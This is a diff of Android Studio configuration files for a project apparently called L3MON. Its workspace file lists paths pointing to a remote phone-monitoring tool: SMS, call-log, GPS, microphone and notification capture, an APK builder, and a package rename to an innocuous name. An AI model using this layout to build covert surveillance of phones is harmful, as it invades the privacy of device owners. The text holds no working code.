<component name="ProjectType">
|
||||
<option name="id" value="Android" />
|
||||
</component>
|
||||
</project>
|
9
client/.idea/modules.xml
generated
Normal file
9
client/.idea/modules.xml
generated
Normal file
@ -0,0 +1,9 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectModuleManager">
|
||||
<modules>
|
||||
<module fileurl="file://$PROJECT_DIR$/app/app.iml" filepath="$PROJECT_DIR$/app/app.iml" />
|
||||
<module fileurl="file://$PROJECT_DIR$/client.iml" filepath="$PROJECT_DIR$/client.iml" />
|
||||
</modules>
|
||||
</component>
|
||||
</project>
|
12
client/.idea/runConfigurations.xml
generated
Normal file
12
client/.idea/runConfigurations.xml
generated
Normal file
@ -0,0 +1,12 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="RunConfigurationProducerService">
|
||||
<option name="ignoredProducers">
|
||||
<set>
|
||||
<option value="org.jetbrains.plugins.gradle.execution.test.runner.AllInPackageGradleConfigurationProducer" />
|
||||
<option value="org.jetbrains.plugins.gradle.execution.test.runner.TestClassGradleConfigurationProducer" />
|
||||
<option value="org.jetbrains.plugins.gradle.execution.test.runner.TestMethodGradleConfigurationProducer" />
|
||||
</set>
|
||||
</option>
|
||||
</component>
|
||||
</project>
|
6
client/.idea/vcs.xml
generated
Normal file
6
client/.idea/vcs.xml
generated
Normal file
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="VcsDirectoryMappings">
|
||||
<mapping directory="$PROJECT_DIR$/.." vcs="Git" />
|
||||
</component>
|
||||
</project>
|
709
client/.idea/workspace.xml
generated
Normal file
709
client/.idea/workspace.xml
generated
Normal file
@ -0,0 +1,709 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="AndroidLayouts">
|
||||
<shared>
|
||||
<config />
|
||||
</shared>
|
||||
</component>
|
||||
<component name="AndroidLogFilters">
|
||||
<option name="TOOL_WINDOW_LOG_LEVEL" value="verbose" />
|
||||
<option name="TOOL_WINDOW_CONFIGURED_FILTER" value="Show only selected application" />
|
||||
</component>
|
||||
<component name="AvailableLibraryUpdateStorage">
|
||||
<library-updates>
|
||||
<library-update>
|
||||
<group-id>io.socket</group-id>
|
||||
<name>socket.io-client</name>
|
||||
<version>1.0.0</version>
|
||||
<repository>JCenter</repository>
|
||||
</library-update>
|
||||
</library-updates>
|
||||
<last-search-timestamp>1566851843099</last-search-timestamp>
|
||||
</component>
|
||||
<component name="ChangeListManager">
|
||||
<list default="true" id="64c00a71-a44b-49ea-9615-52bf78f9491f" name="Default Changelist" comment="">
|
||||
<change afterPath="$PROJECT_DIR$/../.gitignore" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../LICENSE.md" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../README.md" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/apk_builder.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/call_log.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/clipboard.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/contacts.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/devices.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/downloads.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/event_log.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/file_explorer.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/gps_log.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/gps_now.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/gps_settings.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/installed_apps.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/login.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/microphone.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/notification_log.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/permissions.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/sms_log.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/sms_send.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../Screenshots/wifi_manager.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.bin" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.lock" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileChanges/last-build.bin" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileContent/fileContent.lock" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.bin" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.lock" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/resourceHashesCache.bin" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/gc.properties" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/classAnalysis.bin" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/javaCompile.lock" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/taskHistory.bin" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/buildOutputCleanup.lock" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/cache.properties" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/outputFiles.bin" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.gradle/vcs-1/gc.properties" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/caches/build_file_checksums.ser" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/caches/gradle_models.ser" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/codeStyles/Project.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/encodings.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/gradle.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_idling_resource_2_2_2_aar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_exposed_instrumentation_api_publish_0_5_aar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__junit_junit_4_12_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/misc.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/modules.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/runConfigurations.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/vcs.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/.gitignore" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/app.iml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/build.gradle" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/proguard-rules.pro" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/release/app-release.apk" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/release/output.json" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/src/main/AndroidManifest.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/src/main/res/layout/activity_main.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-hdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-mdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-xhdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-xxhdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/src/main/res/values-w820dp/dimens.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/src/main/res/values/colors.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/src/main/res/values/dimens.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/src/main/res/values/strings.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/app/src/main/res/values/styles.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/build.gradle" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/client.iml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/gradle.properties" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/gradle/wrapper/gradle-wrapper.jar" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/gradle/wrapper/gradle-wrapper.properties" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/gradlew" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/gradlew.bat" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/local.properties" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/settings.gradle" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/apktool.jar" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/app-release.apk" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/AndroidManifest.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/apktool.yml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/AndroidManifest.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/classes.dex" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/layout-v17/activity_main.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/layout/activity_main.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-hdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-mdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xhdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xxhdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xxxhdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/resources.arsc" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/AndroidManifest.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/CERT.RSA" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/CERT.SF" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/MANIFEST.MF" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/layout-v17/activity_main.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/layout/activity_main.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/colors.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/dimens.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/ids.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/public.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/strings.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/styles.xml" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MainActivity.smali" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MainService.smali" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MyReceiver.smali" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/NotificationListener.smali" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/ServiceReciever.smali" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/testkey.pk8" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/testkey.x509.pem" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/app/factory/uber-apk-signer-1.1.0.jar" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/builder.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManager.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/apps.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/call_log.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/clipboard_log.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/contacts.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/deviceNotFound.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/downloads.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/file_manager.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/gps.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/info.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/microphone.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/noPage.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/notification_log.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/permissions.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/sms_manager.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/wifi_manager.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/index.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/login.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/logs.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/partials/deviceManagerMenu.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/partials/footer.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/partials/head.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/views/partials/header.ejs" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/build-aligned-signed.apk" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/build.apk" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/build.s.apk" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/client_downloads/blank" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/custom.css" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/custom.css.map" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/custom.scss" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/layers-2x.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/layers.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/marker-icon-2x.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/marker-icon.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/marker-shadow.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/leaflet.css" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/semantic.min.css" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/snackbar.min.css" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.eot" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.svg" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.ttf" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.woff" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.woff2" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.eot" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.otf" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.svg" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.ttf" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.woff" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.woff2" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.eot" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.svg" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.ttf" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.woff" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.woff2" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/images/flags.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/jquery-3.4.1.min.js" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/leaflet.js" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/main.js" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/semantic.min.js" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/snackbar.min.js" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/logo.png" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/clientData/blank" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/includes/apkBuilder.js" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/includes/clientManager.js" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/includes/const.js" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/includes/databaseGateway.js" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/includes/expressRoutes.js" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/includes/logManager.js" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/index.js" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/maindb.json" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/package-lock.json" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../server/package.json" afterDir="false" />
|
||||
<change afterPath="$PROJECT_DIR$/../xwizer.jks" afterDir="false" />
|
||||
</list>
|
||||
<option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
|
||||
<option name="SHOW_DIALOG" value="false" />
|
||||
<option name="HIGHLIGHT_CONFLICTS" value="true" />
|
||||
<option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" />
|
||||
<option name="LAST_RESOLUTION" value="IGNORE" />
|
||||
</component>
|
||||
<component name="CodeInsightWorkspaceSettings">
|
||||
<option name="optimizeImportsOnTheFly" value="true" />
|
||||
</component>
|
||||
<component name="DefaultGradleProjectSettings">
|
||||
<option name="isMigrated" value="true" />
|
||||
</component>
|
||||
<component name="ExecutionTargetManager" SELECTED_TARGET="Nexus_5X_API_29_x86" />
|
||||
<component name="ExternalProjectsManager">
|
||||
<system id="GRADLE">
|
||||
<state>
|
||||
<projects_view />
|
||||
</state>
|
||||
</system>
|
||||
</component>
|
||||
<component name="FileEditorManager">
|
||||
<leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
|
||||
<file pinned="false" current-in-tab="false">
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/AndroidManifest.xml">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="414">
|
||||
<caret line="48" column="34" selection-start-line="48" selection-start-column="34" selection-end-line="48" selection-end-column="34" />
|
||||
</state>
|
||||
</provider>
|
||||
<provider editor-type-id="android-manifest" />
|
||||
</entry>
|
||||
</file>
|
||||
<file pinned="false" current-in-tab="true">
|
||||
<entry file="file://$PROJECT_DIR$/app/build.gradle">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="289">
|
||||
<caret line="17" column="30" selection-start-line="17" selection-start-column="30" selection-end-line="17" selection-end-column="30" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
</file>
|
||||
<file pinned="false" current-in-tab="false">
|
||||
<entry file="file://$PROJECT_DIR$/build.gradle">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
</file>
|
||||
</leaf>
|
||||
</component>
|
||||
<component name="FindInProjectRecents">
|
||||
<findStrings>
|
||||
<find>http://</find>
|
||||
<find>com.etechd.l3mon</find>
|
||||
</findStrings>
|
||||
<replaceStrings>
|
||||
<replace>com.process.android</replace>
|
||||
</replaceStrings>
|
||||
</component>
|
||||
<component name="GenerateSignedApkSettings">
|
||||
<option name="KEY_STORE_PATH" value="C:\Users\Chris\Documents\Private\L3MON\xwizer.jks" />
|
||||
<option name="KEY_ALIAS" value="key0" />
|
||||
<option name="REMEMBER_PASSWORDS" value="true" />
|
||||
<option name="BUILD_TARGET_KEY" value="apk" />
|
||||
</component>
|
||||
<component name="Git.Settings">
|
||||
<option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$/.." />
|
||||
</component>
|
||||
<component name="IdeDocumentHistory">
|
||||
<option name="CHANGED_PATHS">
|
||||
<list>
|
||||
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/ConnectionManager.java" />
|
||||
<option value="$PROJECT_DIR$/app/src/main/res/values/strings.xml" />
|
||||
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MicManager.java" />
|
||||
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/CameraManager.java" />
|
||||
<option value="$PROJECT_DIR$/L3MON-Client.iml" />
|
||||
<option value="$PROJECT_DIR$/app/src/main/res/layout/activity_main.xml" />
|
||||
<option value="$PROJECT_DIR$/.idea/workspace.xml" />
|
||||
